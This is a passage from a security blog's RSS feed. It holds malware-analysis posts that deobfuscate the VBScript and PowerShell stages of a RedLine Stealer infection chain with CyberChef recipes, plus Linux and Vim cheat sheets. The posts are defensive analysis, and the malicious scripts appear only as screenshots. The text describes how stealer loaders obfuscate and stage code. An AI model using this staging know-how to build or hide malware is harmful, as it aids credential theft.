&lt;p&gt;It will look like this as shown below. If you want to learn about this CyberChef recipe, please read this &lt;a href=&quot;/tools/cyberchef/deobfuscate-script-using-cyberchef-recipe-3/&quot; rel=&quot;noopener&quot; target=&quot;_blank&quot;&gt;Deobfuscate Script using CyberChef – Recipe 0x3&lt;/a&gt;.&lt;/p&gt;
&lt;figure&gt;&lt;a href=&quot;/wp-content/uploads/2024/01/3.-CyberChef_Recipe_decode_VBScript.png&quot;&gt;&lt;img alt=&quot;CyberChef Recipe decode VBScript&quot; decoding=&quot;async&quot; height=&quot;1367&quot; loading=&quot;lazy&quot; sizes=&quot;(max-width: 1918px) 100vw, 1918px&quot; src=&quot;/wp-content/uploads/2024/01/3.-CyberChef_Recipe_decode_VBScript.png&quot; srcset=&quot;/wp-content/uploads/2024/01/3.-CyberChef_Recipe_decode_VBScript.png 1918w, /wp-content/uploads/2024/01/3.-CyberChef_Recipe_decode_VBScript-300x214.png 300w, /wp-content/uploads/2024/01/3.-CyberChef_Recipe_decode_VBScript-1024x730.png 1024w, /wp-content/uploads/2024/01/3.-CyberChef_Recipe_decode_VBScript-768x547.png 768w&quot; width=&quot;1918&quot;/&gt;&lt;/a&gt;&lt;figcaption&gt;CyberChef Recipe decode VBScript&lt;/figcaption&gt;&lt;/figure&gt;&lt;h5&gt;2.2 &lt;strong&gt;Alternatively, decode VBScript using Wscript.Echo&lt;/strong&gt;&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;Save the VBScript from HTA file to new file named extracted_from_hta.vbs&lt;/li&gt;
&lt;li&gt;Replace &lt;code&gt;Execute&lt;/code&gt; with &lt;code&gt;Wscript.Echo&lt;/code&gt; in the new VBS file&lt;/li&gt;
&lt;li&gt;Execute the above file with cscript.exe, &amp;amp; you will see the deobfuscated script&lt;/li&gt;
&lt;/ul&gt;
&lt;figure&gt;&lt;a href=&quot;/wp-content/uploads/2024/01/4.-Deobfuscate_VBScript_cscript.png&quot;&gt;&lt;img alt=&quot;Deobfuscate VBScript using cscript&quot; decoding=&quot;async&quot; height=&quot;992&quot; loading=&quot;lazy&quot; sizes=&quot;(max-width: 1487px) 100vw, 1487px&quot; src=&quot;/wp-content/uploads/2024/01/4.-Deobfuscate_VBScript_cscript.png&quot; srcset=&quot;/wp-content/uploads/2024/01/4.-Deobfuscate_VBScript_cscript.png 1487w, /wp-content/uploads/2024/01/4.-Deobfuscate_VBScript_cscript-300x200.png 300w, /wp-content/uploads/2024/01/4.-Deobfuscate_VBScript_cscript-1024x683.png 1024w, /wp-content/uploads/2024/01/4.-Deobfuscate_VBScript_cscript-768x512.png 768w&quot; width=&quot;1487&quot;/&gt;&lt;/a&gt;&lt;figcaption&gt;Deobfuscate VBScript using cscript&lt;/figcaption&gt;&lt;/figure&gt;&lt;h4 id=&quot;3-deobfuscate-the-powershell-using-write-host-or-powershell-&quot;&gt;3. Deobfuscate the PowerShell using Write-Host or PowerShell Logging&lt;/h4&gt;&lt;p id=&quot;ember683&quot;&gt;Extract the PowerShell code from deobfusacted VBScript present in line.hta. This PowerShell utilize AES decryption along with Gzip decompress, then execute the 2nd stage PowerShell.&lt;/p&gt;
&lt;p id=&quot;ember684&quot;&gt;Using Write-Host at the bottom we can dump the code.&lt;/p&gt;
&lt;figure&gt;&lt;a href=&quot;/wp-content/uploads/2024/01/5.-PS_Stage_1.png&quot;&gt;&lt;img alt=&quot;PowerShell Stage1 to Stage2&quot; decoding=&quot;async&quot; height=&quot;836&quot; loading=&quot;lazy&quot; sizes=&quot;(max-width: 1682px) 100vw, 1682px&quot; src=&quot;/wp-content/uploads/2024/01/5.-PS_Stage_1.png&quot; srcset=&quot;/wp-content/uploads/2024/01/5.-PS_Stage_1.png 1682w, /wp-content/uploads/2024/01/5.-PS_Stage_1-300x149.png 300w, /wp-content/uploads/2024/01/5.-PS_Stage_1-1024x509.png 1024w, /wp-content/uploads/2024/01/5.-PS_Stage_1-768x382.png 768w&quot; width=&quot;1682&quot;/&gt;&lt;/a&gt;&lt;figcaption&gt;PowerShell Stage1 to Stage2&lt;/figcaption&gt;&lt;/figure&gt;&lt;p id=&quot;ember683&quot;&gt; Or, If PowerShell module logging is enabled, then we can see the 2nd stage PowerShell in event log.&lt;/p&gt;
&lt;figure&gt;&lt;img alt=&quot;Deobfuscate using PowerShell logging&quot; decoding=&quot;async&quot; height=&quot;359&quot; loading=&quot;lazy&quot; sizes=&quot;(max-width: 1850px) 100vw, 1850px&quot; src=&quot;/wp-content/uploads/2024/01/5.1-Deobfuscate-using-PowerShell-logging.png&quot; srcset=&quot;/wp-content/uploads/2024/01/5.1-Deobfuscate-using-PowerShell-logging.png 1850w, /wp-content/uploads/2024/01/5.1-Deobfuscate-using-PowerShell-logging-300x58.png 300w, /wp-content/uploads/2024/01/5.1-Deobfuscate-using-PowerShell-logging-1024x199.png 1024w, /wp-content/uploads/2024/01/5.1-Deobfuscate-using-PowerShell-logging-768x149.png 768w&quot; width=&quot;1850&quot;/&gt;&lt;figcaption&gt;Deobfuscate using PowerShell logging&lt;/figcaption&gt;&lt;/figure&gt;&lt;p id=&quot;ember683&quot;&gt;If you want to read more about “Deobfuscate PowerShell using PowerShell Logging”, check this &lt;a href=&quot;/malware-analysis/deobfuscate-powershell-using-powershell-logging/&quot; rel=&quot;noopener&quot; target=&quot;_blank&quot;&gt;Deobfuscate PowerShell using PowerShell Logging&lt;/a&gt; article.&lt;/p&gt;
&lt;h4 id=&quot;4-decoding-the-stage-2-powershell-using-cyberchef&quot;&gt;4. Decoding the stage 2 PowerShell Using CyberChef&lt;/h4&gt;&lt;p id=&quot;ember690&quot;&gt;PowerShell is using &lt;strong&gt;Ddy&lt;/strong&gt; function to decode the array by subtracting 7390.&lt;/p&gt;
&lt;figure&gt;&lt;a href=&quot;/wp-content/uploads/2024/01/6.-Stage-2-PowerShell-beautify-script.png&quot;&gt;&lt;img alt=&quot;RedLine Stealer Stage 2 PowerShell beautify script&quot; decoding=&quot;async&quot; height=&quot;1351&quot; loading=&quot;lazy&quot; sizes=&quot;(max-width: 2057px) 100vw, 2057px&quot; src=&quot;/wp-content/uploads/2024/01/6.-Stage-2-PowerShell-beautify-script.png&quot; srcset=&quot;/wp-content/uploads/2024/01/6.-Stage-2-PowerShell-beautify-script.png 2057w, /wp-content/uploads/2024/01/6.-Stage-2-PowerShell-beautify-script-300x197.png 300w, /wp-content/uploads/2024/01/6.-Stage-2-PowerShell-beautify-script-1024x673.png 1024w, /wp-content/uploads/2024/01/6.-Stage-2-PowerShell-beautify-script-768x504.png 768w&quot; width=&quot;2057&quot;/&gt;&lt;/a&gt;&lt;figcaption&gt;RedLine Stealer Stage 2 PowerShell beautify script&lt;/figcaption&gt;&lt;/figure&gt;&lt;p id=&quot;ember693&quot;&gt;We can use CyberChef subsection operation to select the data array, then use subtract operation and From Decimal to decode the string.&lt;/p&gt;
&lt;p&gt;I will recommend to read this &lt;a href=&quot;/tools/cyberchef/deobfuscate-powershell-using-subtract-cyberchef-recipe-0x4/&quot; rel=&quot;noopener&quot; target=&quot;_blank&quot;&gt;Deobfuscate PowerShell using subtract CyberChef Recipe 0x4&lt;/a&gt; for details regarding CyberChef Recipe.&lt;/p&gt;
&lt;p id=&quot;ember694&quot;&gt;&lt;strong&gt;CyberChef Recipe:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;Generic_Code_Beautify()
Subsection(&apos;@\\([^)]*\\)&apos;,true,true,false)
Find_/_Replace({&apos;option&apos;:&apos;Regex&apos;,&apos;string&apos;:&apos;[@()]&apos;},&apos;&apos;,true,false,true,false)
Find_/_Replace({&apos;option&apos;:&apos;Regex&apos;,&apos;string&apos;:&apos;,&apos;},&apos;\\n&apos;,true,false,true,false)
Find_/_Replace({&apos;option&apos;:&apos;Regex&apos;,&apos;string&apos;:&apos;$&apos;},&apos;,7390&apos;,true,false,true,false)
Fork(&apos;\\n&apos;,&apos;&apos;,false)
Subtract(&apos;Comma&apos;)
From_Decimal(&apos;Space&apos;,false)
Merge(true)
Find_/_Replace({&apos;option&apos;:&apos;Regex&apos;,&apos;string&apos;:&apos;Ddy&apos;},&apos;&apos;,true,false,true,false)
Syntax_highlighter(&apos;powershell&apos;)&lt;/pre&gt;
&lt;figure&gt;&lt;a href=&quot;/wp-content/uploads/2024/01/7.-Stage-2-PowerShell-deobfuscated.png&quot;&gt;&lt;img alt=&quot;Decoded Stage 2 PowerShell with CyberChef&quot; decoding=&quot;async&quot; height=&quot;1372&quot; loading=&quot;lazy&quot; sizes=&quot;(max-width: 2048px) 100vw, 2048px&quot; src=&quot;/wp-content/uploads/2024/01/7.-Stage-2-PowerShell-deobfuscated.png&quot; srcset=&quot;/wp-content/uploads/2024/01/7.-Stage-2-PowerShell-deobfuscated.png 2048w, /wp-content/uploads/2024/01/7.-Stage-2-PowerShell-deobfuscated-300x201.png 300w, /wp-content/uploads/2024/01/7.-Stage-2-PowerShell-deobfuscated-1024x686.png 1024w, /wp-content/uploads/2024/01/7.-Stage-2-PowerShell-deobfuscated-768x515.png 768w&quot; width=&quot;2048&quot;/&gt;&lt;/a&gt;&lt;figcaption&gt;Decoded Stage 2 PowerShell with CyberChef&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;Now we have decoded the final stage of PowerShell and can read the script to understand its working.  Stay tuned for unpacking RedLine Stealer’s final payload and config extraction in the next post.&lt;/p&gt;

</content:encoded><category>malware-analysis</category><category>cyberchef</category><category>infostealer</category><category>lnk</category><category>malware-series</category><category>mshta</category><category>powershell</category><category>redline</category><category>vbscript</category></item><item><title>Linux Cheat Sheet</title><link>https://www.securityinbits.com/cheatsheet/linux-cheat-sheet/</link><guid isPermaLink="false">https://www.securityinbits.com/?p=1175</guid><description>Explore essential Linux commands in this regularly updated cheat sheet, tested on Debian-based systems like Ubuntu. Bookmark for future reference!</description><pubDate>Fri, 26 Jan 2024 02:05:28 GMT</pubDate><content:encoded>&lt;p&gt;I frequently leverage the following Linux commands in my daily work, and I’m excited to share them with you in this cheat sheet. As I continue to learn and explore, I’ll be updating this resource regularly.&lt;/p&gt;
&lt;p&gt;It’s worth noting that I’ve tested all the commands on Debian-based Linux systems, particularly Ubuntu.&lt;/p&gt;
&lt;p&gt;Feel free to bookmark this page for future reference and stay tuned for regular updates!&lt;/p&gt;
&lt;h5&gt;Navigation/Editing&lt;/h5&gt;&lt;ul&gt;
&lt;li&gt;&lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;a&lt;/kbd&gt; – Go to start of line&lt;/li&gt;
&lt;li&gt;&lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;e&lt;/kbd&gt; – Go to end of line&lt;/li&gt;
&lt;li&gt;&lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;u&lt;/kbd&gt; – Cut from start of line&lt;/li&gt;
&lt;li&gt;&lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;k&lt;/kbd&gt; – Cut to end of line&lt;/li&gt;
&lt;li&gt;&lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;w&lt;/kbd&gt; – Cut the word before the cursor&lt;/li&gt;
&lt;li&gt;&lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;y&lt;/kbd&gt; – Paste the last cut text&lt;/li&gt;
&lt;li&gt;&lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;L&lt;/kbd&gt; – Clear the screen&lt;/li&gt;
&lt;/ul&gt;
&lt;h5&gt;History&lt;/h5&gt;&lt;ul&gt;
&lt;li&gt;&lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;r&lt;/kbd&gt; – Search history&lt;/li&gt;
&lt;li&gt;&lt;kbd&gt;!!&lt;/kbd&gt; -Repeat last cmd&lt;/li&gt;
&lt;li&gt;&lt;kbd&gt;!abc&lt;/kbd&gt; – Run last command starting with abc&lt;/li&gt;
&lt;/ul&gt;
&lt;h5&gt;Misc Commands&lt;/h5&gt;&lt;ul&gt;
&lt;li&gt;&lt;kbd&gt;sudo shutdown -h now&lt;/kbd&gt; – Shutdown system now&lt;/li&gt;
&lt;li&gt;&lt;kbd&gt;sudo shutdown -r now&lt;/kbd&gt; – Reboot system now&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id=&quot;resources&quot;&gt;Resources&lt;/h4&gt;&lt;p&gt;All credit for these commands goes to the creators behind the below cheatsheet, and I’m grateful for their contribution to the community.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://cheatography.com/davechild/cheat-sheets/linux-command-line/&quot; rel=&quot;noopener&quot; target=&quot;_blank&quot;&gt;Linux cmds 1&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.geeksforgeeks.org/linux-commands-cheat-sheet/&quot; rel=&quot;noopener&quot; target=&quot;_blank&quot;&gt;Linux cmds 2&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

</content:encoded><category>cheatsheet</category><category>linux</category></item><item><title>Vim Cheat Sheet</title><link>https://www.securityinbits.com/cheatsheet/vim-cheat-sheet/</link><guid isPermaLink="false">https://www.securityinbits.com/?p=1102</guid><description>Mastering Vim has been both challenging and rewarding. In this evolving cheat sheet, I share frequently used shortcuts seamlessly integrated into my VSCode and Obsidian workflow.</description><pubDate>Sun, 21 Jan 2024 01:19:58 GMT</pubDate><content:encoded>&lt;p&gt;Mastering Vim has been both challenging and rewarding. In this evolving cheat sheet, I share frequently used shortcuts seamlessly integrated into my VSCode and Obsidian workflow. Here are key commands that have proven invaluable in my ongoing Vim journey.&lt;/p&gt;
&lt;h5&gt;Cursor Movement&lt;/h5&gt;&lt;ul&gt;
&lt;li&gt;&lt;kbd&gt;h&lt;/kbd&gt; – move cursor left&lt;/li&gt;
&lt;li&gt;&lt;kbd&gt;j&lt;/kbd&gt; – move cursor down&lt;/li&gt;
&lt;li&gt;&lt;kbd&gt;k&lt;/kbd&gt; – move cursor up&lt;/li&gt;
&lt;li&gt;&lt;kbd&gt;l&lt;/kbd&gt; – move cursor right&lt;/li&gt;
&lt;li&gt;&lt;kbd&gt;f/F&amp;lt;char&amp;gt;&lt;/kbd&gt; – move to next( or previous) occurrence of character&lt;/li&gt;
&lt;li&gt;&lt;kbd&gt;0&lt;/kbd&gt; – jump to the start of the line&lt;/li&gt;
&lt;li&gt;&lt;kbd&gt;$&lt;/kbd&gt; – jump to the end of the line&lt;/li&gt;
&lt;li&gt;&lt;kbd&gt;gg&lt;/kbd&gt; – go to the first line of the document&lt;/li&gt;
&lt;li&gt;&lt;kbd&gt;G&lt;/kbd&gt; – go to the last line of the document&lt;/li&gt;
&lt;li&gt;&lt;kbd&gt;w&lt;/kbd&gt; – jump forwards to the start of a word&lt;/li&gt;
&lt;li&gt;&lt;kbd&gt;W&lt;/kbd&gt; – jump forwards to the start of a word (words can contain punctuation)&lt;/li&gt;
&lt;li&gt;&lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;b&lt;/kbd&gt; – move screen up one page (cursor to last line)&lt;/li&gt;
&lt;li&gt;&lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;f&lt;/kbd&gt; – move screen down one page (cursor to first line)&lt;/li&gt;
&lt;li&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h5&gt;Editing&lt;/h5&gt;&lt;ul&gt;
&lt;li&gt;&lt;kbd&gt;.&lt;/kbd&gt; – repeat last command&lt;/li&gt;
&lt;li&gt;&lt;kbd&gt;u&lt;/kbd&gt; – undo&lt;/li&gt;
&lt;li&gt;&lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;r&lt;/kbd&gt; – redo&lt;/li&gt;
&lt;li&gt;&lt;kbd&gt;r&lt;/kbd&gt; – replace a single character.&lt;/li&gt;
&lt;li&gt;&lt;kbd&gt;R&lt;/kbd&gt; – replace more than one character, until &lt;kbd&gt;ESC&lt;/kbd&gt; is pressed.&lt;/li&gt;
&lt;/ul&gt;
&lt;h5&gt;Cut &amp;amp; Paste&lt;/h5&gt;&lt;ul&gt;
&lt;li&gt;&lt;kbd&gt;yy&lt;/kbd&gt; – yank (copy) a line&lt;/li&gt;
&lt;li&gt;&lt;kbd&gt;2yy&lt;/kbd&gt; -yank (copy) 2 lines&lt;/li&gt;
&lt;li&gt;&lt;kbd&gt;yw&lt;/kbd&gt; – copy word&lt;/li&gt;
&lt;li&gt;&lt;kbd&gt;p&lt;/kbd&gt; – put (paste) the clipboard after cursor&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt; &lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;kbd&gt;d$&lt;/kbd&gt; or &lt;kbd&gt;D&lt;/kbd&gt; – delete (cut) to the end of the line&lt;/li&gt;
&lt;li&gt;&lt;kbd&gt;dd&lt;/kbd&gt; – delete a line&lt;/li&gt;
&lt;li&gt;&lt;kbd&gt;2dd&lt;/kbd&gt; – delete 2 lines&lt;/li&gt;
&lt;li&gt;&lt;kbd&gt;dw&lt;/kbd&gt; – delete word&lt;/li&gt;
&lt;li&gt;&lt;kbd&gt;d2w&lt;/kbd&gt; – delete 2 words&lt;/li&gt;
&lt;li&gt;&lt;kbd&gt;di&apos;&lt;/kbd&gt; – delete inside ‘&lt;/li&gt;
&lt;li&gt;&lt;kbd&gt;x&lt;/kbd&gt; – delete (cut) character&lt;/li&gt;
&lt;li&gt;&lt;kbd&gt;:g/{pattern}/d&lt;/kbd&gt; – delete all lines containing pattern&lt;/li&gt;
&lt;li&gt;&lt;kbd&gt;:g!/{pattern}/d&lt;/kbd&gt; – delete all lines not containing pattern&lt;/li&gt;
&lt;/ul&gt;
&lt;h5&gt;Search &amp;amp; replace&lt;/h5&gt;&lt;ul&gt;
&lt;li&gt;&lt;kbd&gt;/pattern&lt;/kbd&gt; – search for pattern&lt;/li&gt;
&lt;li&gt;&lt;kbd&gt;?pattern&lt;/kbd&gt; – search backward for pattern&lt;/li&gt;
&lt;li&gt;&lt;kbd&gt;\vpattern&lt;/kbd&gt; – ‘very magic’ pattern: non-alphanumeric characters are interpreted as special regex symbols (no escaping needed)&lt;/li&gt;
&lt;li&gt;&lt;kbd&gt;n&lt;/kbd&gt; – repeat search in same direction&lt;/li&gt;
&lt;li&gt;&lt;kbd&gt;N&lt;/kbd&gt; – repeat search in opposite direction&lt;/li&gt;
&lt;li&gt;&lt;kbd&gt;:%s/old/new/g&lt;/kbd&gt; – replace all old with new throughout file&lt;/li&gt;
&lt;li&gt;&lt;kbd&gt;:%s/old/new/gc&lt;/kbd&gt; – replace all old with new throughout file with confirmations&lt;/li&gt;
&lt;li&gt;&lt;kbd&gt;:noh&lt;/kbd&gt; – remove highlighting of search matches&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id=&quot;tips&quot;&gt;Tips&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;Use this to see help for cmd &lt;kbd&gt;:help w&lt;/kbd&gt;&lt;/li&gt;
&lt;li&gt;Prefix a cursor movement command with a number to repeat it. For example, &lt;kbd&gt;4j&lt;/kbd&gt; moves down 4 lines.&lt;/li&gt;
&lt;li&gt;&lt;kbd&gt;W&lt;/kbd&gt;– Much faster than &lt;kbd&gt;w&lt;/kbd&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id=&quot;resources&quot;&gt;Resources&lt;/h4&gt;&lt;p&gt;All credit for these commands goes to the creators behind the below cheatsheet, and I’m grateful for their contribution to the Vim community.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://vim.rtorr.com/&quot; rel=&quot;noopener&quot; target=&quot;_blank&quot;&gt;Comprehensive cheatsheet&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

</content:encoded><category>cheatsheet</category><category>vim</category></item><item><title>Deobfuscate PowerShell using subtract – CyberChef Recipe 0x4</title><link>https://www.securityinbits.com/tools/cyberchef/deobfuscate-powershell-using-subtract-cyberchef-recipe-0x4/</link><guid isPermaLink="false">https://www.securityinbits.com/?p=1066</guid><description>We’ll explore CyberChef operations e.g Generic code Beautify, Subsection, Fork, Subtract etc. to deobfuscate the 2nd stage PowerShell script used in the RedLine stealer infection chain.</description><pubDate>Wed, 10 Jan 2024 07:05:49 GMT</pubDate><content:encoded>&lt;p&gt;In this quick blog post, we’ll explore the various combination of CyberChef operations e.g Generic code Beautify, Subsection, Fork, Subtract etc. to deobfuscate the second-stage PowerShell script used in the RedLine stealer infection chain.&lt;/p&gt;
&lt;p&gt;The PowerShell contain multiple array consist of integer. It employs a straightforward function to decode the array by subtracting 7390 from each element.&lt;/p&gt;
&lt;h4 id=&quot;cyberchef-recipe-overview&quot;&gt;&lt;a href=&quot;https://github.com/Securityinbits/AsyncRAT-Analysis/blob/main/CyberChef_Recipe.md&quot; rel=&quot;noopener&quot; target=&quot;_blank&quot;&gt;CyberChef Recipe Overview&lt;/a&gt;&lt;/h4&gt;&lt;ol&gt;
&lt;li&gt;Utilize subsection regex to capture the integer array after @ e.g. @(&lt;strong&gt;7436, 7490, 7498, 7498&lt;/strong&gt;). Now we can execute operations on this part of the script&lt;/li&gt;
&lt;li&gt;Cleanup this subsection using Find/Replace operation&lt;/li&gt;
&lt;li&gt;Use the Find/Replace operation to replace ‘$’ with ‘,’ and ‘7390’.  This “,” delimiter used in below subtract operation&lt;/li&gt;
&lt;li&gt;Apply subtract operation (Delimiter ,) and using From Decimal to deobfuscate PowerShell script.  This is similar to &lt;a href=&quot;/tools/cyberchef/deobfuscate-script-using-cyberchef-recipe-3/&quot; rel=&quot;noopener&quot; target=&quot;_blank&quot;&gt;CyberChef Recipe 0x3&lt;/a&gt;.&lt;/li&gt;
&lt;/ol&gt;
&lt;h4 id=&quot;input-required&quot;&gt;Input required&lt;/h4&gt;&lt;p&gt;Feel free to follow along by copying the obfuscated VBScript input from my GitHub &lt;a href=&quot;https://github.com/Securityinbits/malware-analysis/blob/main/analysis/redline_stealer_aug_2023.md#input-1&quot; rel=&quot;noopener&quot; target=&quot;_blank&quot;&gt;link.&lt;/a&gt;&lt;/p&gt;
&lt;figure&gt;&lt;a href=&quot;/wp-content/uploads/2023/10/1.-CyberChef_recipe_input.png&quot;&gt;&lt;img alt=&quot;CyberChef Input Obfuscated PowerShell&quot; decoding=&quot;async&quot; height=&quot;684&quot; loading=&quot;lazy&quot; sizes=&quot;(max-width: 2078px) 100vw, 2078px&quot; src=&quot;/wp-content/uploads/2023/10/1.-CyberChef_recipe_input.png&quot; srcset=&quot;/wp-content/uploads/2023/10/1.-CyberChef_recipe_input.png 2078w, /wp-content/uploads/2023/10/1.-CyberChef_recipe_input-300x99.png 300w, /wp-content/uploads/2023/10/1.-CyberChef_recipe_input-1024x337.png 1024w, /wp-content/uploads/2023/10/1.-CyberChef_recipe_input-768x253.png 768w&quot; width=&quot;2078&quot;/&gt;&lt;/a&gt;&lt;figcaption&gt;CyberChef Input Obfuscated PowerShell&lt;/figcaption&gt;&lt;/figure&gt;&lt;h4 id=&quot;output&quot;&gt;Output&lt;/h4&gt;&lt;p&gt;After loading the CyberChef recipe, your script should look like the image below.&lt;/p&gt;
&lt;figure&gt;&lt;a href=&quot;/wp-content/uploads/2023/10/7.-Stage-2-PowerShell-deobfuscated.png&quot;&gt;&lt;img alt=&quot;Stage 2 PowerShell deobfuscated&quot; decoding=&quot;async&quot; height=&quot;1372&quot; loading=&quot;lazy&quot; sizes=&quot;(max-width: 2048px) 100vw, 2048px&quot; src=&quot;/wp-content/uploads/2023/10/7.-Stage-2-PowerShell-deobfuscated.png&quot; srcset=&quot;/wp-content/uploads/2023/10/7.-Stage-2-PowerShell-deobfuscated.png 2048w, /wp-content/uploads/2023/10/7.-Stage-2-PowerShell-deobfuscated-300x201.png 300w, /wp-content/uploads/2023/10/7.-Stage-2-PowerShell-deobfuscated-1024x686.png 1024w, /wp-content/uploads/2023/10/7.-Stage-2-PowerShell-deobfuscated-768x515.png 768w&quot; width=&quot;2048&quot;/&gt;&lt;/a&gt;&lt;figcaption&gt;Stage 2 PowerShell deobfuscated&lt;/figcaption&gt;&lt;/figure&gt;&lt;h4 id=&quot;cyberchef-recipe&quot;&gt;CyberChef Recipe&lt;/h4&gt;&lt;p&gt;&lt;code&gt;Generic_Code_Beautify()&lt;br/&gt;
Subsection(&apos;@\\([^)]*\\)&apos;,true,true,false)&lt;br/&gt;
Find_/_Replace({&apos;option&apos;:&apos;Regex&apos;,&apos;string&apos;:&apos;[@()]&apos;},&apos;&apos;,true,false,true,false)&lt;br/&gt;
Find_/_Replace({&apos;option&apos;:&apos;Regex&apos;,&apos;string&apos;:&apos;,&apos;},&apos;\\n&apos;,true,false,true,false)&lt;br/&gt;
Find_/_Replace({&apos;option&apos;:&apos;Regex&apos;,&apos;string&apos;:&apos;$&apos;},&apos;,7390&apos;,true,false,true,false)&lt;br/&gt;
Fork(&apos;\\n&apos;,&apos;&apos;,false)&lt;br/&gt;
Subtract(&apos;Comma&apos;)&lt;br/&gt;
From_Decimal(&apos;Space&apos;,false)&lt;br/&gt;
Merge(true)&lt;br/&gt;
Find_/_Replace({&apos;option&apos;:&apos;Regex&apos;,&apos;string&apos;:&apos;Ddy&apos;},&apos;&apos;,true,false,true,false)&lt;br/&gt;
Syntax_highlighter(&apos;powershell&apos;)&lt;/code&gt;&lt;/p&gt;

</content:encoded><category>tools</category><category>tools/cyberchef</category><category>cyberchef</category><category>cyberchef-recipe</category><category>infostealer</category><category>powershell</category><category>redline</category></item><item><title>Deobfuscate Script using CyberChef – Recipe 0x3</title><link>https://www.securityinbits.com/tools/cyberchef/deobfuscate-script-using-cyberchef-recipe-3/</link><guid isPermaLink="false">https://www.securityinbits.com/?p=1045</guid><description>Explore Deobfuscation with CyberChef as we decode VBScript used in the RedLine stealer infection chain. We’ll explore the various CyberChef operations e.g Subsection, From Base, Fork etc.</description><pubDate>Tue, 17 Oct 2023 15:39:14 GMT</pubDate><content:encoded>&lt;p&gt;In this quick blog post, we’ll explore the various combination of CyberChef operations e.g Subsection, From Base, Fork etc for deobfuscating VBScript used in the RedLine stealer infection chain.&lt;/p&gt;
&lt;p&gt;VBScript often employs the ‘chr’ function to obfuscate its code, where ‘chr’ converts Ascii codes to characters e.g. Chr(65) will return ‘A’. In this script it uses simple subtraction before converting the character to Ascii using chr.&lt;/p&gt;
&lt;p&gt;Our goal is to demonstrate various CyberChef operations that help us clean up and understand this malicious code effectively.&lt;/p&gt;
&lt;h4 id=&quot;cyberchef-recipe-overview&quot;&gt;CyberChef Recipe Overview&lt;/h4&gt;&lt;ol&gt;
&lt;li&gt;Replace ‘&amp;amp;H’ with ‘0x’ using the Find/Replace operation.&lt;/li&gt;
&lt;li&gt;Utilize subsection regex to capture the hex part inside chr e.g. chr(303-&lt;strong&gt;(0xE9)&lt;/strong&gt;). Now we can execute other operations on this part of the script&lt;/li&gt;
&lt;li&gt;Convert this hex to decimal using the ‘From Base’ operation.&lt;/li&gt;
&lt;li&gt;Use regex to capture the part inside chr&lt;/li&gt;
&lt;li&gt;Apply subtract operation (Delimiter &lt;strong&gt;:&lt;/strong&gt;) and using From Decimal to deobfuscate the script.&lt;/li&gt;
&lt;/ol&gt;
&lt;h4 id=&quot;input&quot;&gt;Input&lt;/h4&gt;&lt;p&gt;Feel free to follow along by copying the obfuscated VBScript input from my GitHub &lt;a href=&quot;https://github.com/Securityinbits/malware-analysis/blob/main/analysis/redline_stealer_aug_2023.md#input&quot; rel=&quot;noopener&quot; target=&quot;_blank&quot;&gt;link.&lt;/a&gt;&lt;/p&gt;
&lt;figure&gt;&lt;a href=&quot;/wp-content/uploads/2023/10/Input_Obfuscated_Script.png&quot;&gt;&lt;img alt=&quot;Input Obfuscated Script&quot; decoding=&quot;async&quot; height=&quot;650&quot; loading=&quot;lazy&quot; sizes=&quot;(max-width: 1277px) 100vw, 1277px&quot; src=&quot;/wp-content/uploads/2023/10/Input_Obfuscated_Script.png&quot; srcset=&quot;/wp-content/uploads/2023/10/Input_Obfuscated_Script.png 1277w, /wp-content/uploads/2023/10/Input_Obfuscated_Script-300x153.png 300w, /wp-content/uploads/2023/10/Input_Obfuscated_Script-1024x521.png 1024w, /wp-content/uploads/2023/10/Input_Obfuscated_Script-768x391.png 768w&quot; width=&quot;1277&quot;/&gt;&lt;/a&gt;&lt;figcaption&gt;Input Obfuscated Script&lt;/figcaption&gt;&lt;/figure&gt;&lt;h4 id=&quot;output&quot;&gt;Output&lt;/h4&gt;&lt;p&gt;After loading the CyberChef recipe, your script should look like the image below.&lt;/p&gt;
&lt;figure&gt;&lt;a href=&quot;/wp-content/uploads/2023/10/3.-CyberChef_Recipe_decode_VBScript.png&quot;&gt;&lt;img alt=&quot;CyberChef Recipe decode VBScript&quot; decoding=&quot;async&quot; height=&quot;1367&quot; loading=&quot;lazy&quot; sizes=&quot;(max-width: 1918px) 100vw, 1918px&quot; src=&quot;/wp-content/uploads/2023/10/3.-CyberChef_Recipe_decode_VBScript.png&quot; srcset=&quot;/wp-content/uploads/2023/10/3.-CyberChef_Recipe_decode_VBScript.png 1918w, /wp-content/uploads/2023/10/3.-CyberChef_Recipe_decode_VBScript-300x214.png 300w, /wp-content/uploads/2023/10/3.-CyberChef_Recipe_decode_VBScript-1024x730.png 1024w, /wp-content/uploads/2023/10/3.-CyberChef_Recipe_decode_VBScript-768x547.png 768w&quot; width=&quot;1918&quot;/&gt;&lt;/a&gt;&lt;figcaption&gt;CyberChef Recipe decode VBScript&lt;/figcaption&gt;&lt;/figure&gt;&lt;h4 id=&quot;cyberchef-recipe-for-deobfuscation&quot;&gt;CyberChef Recipe for 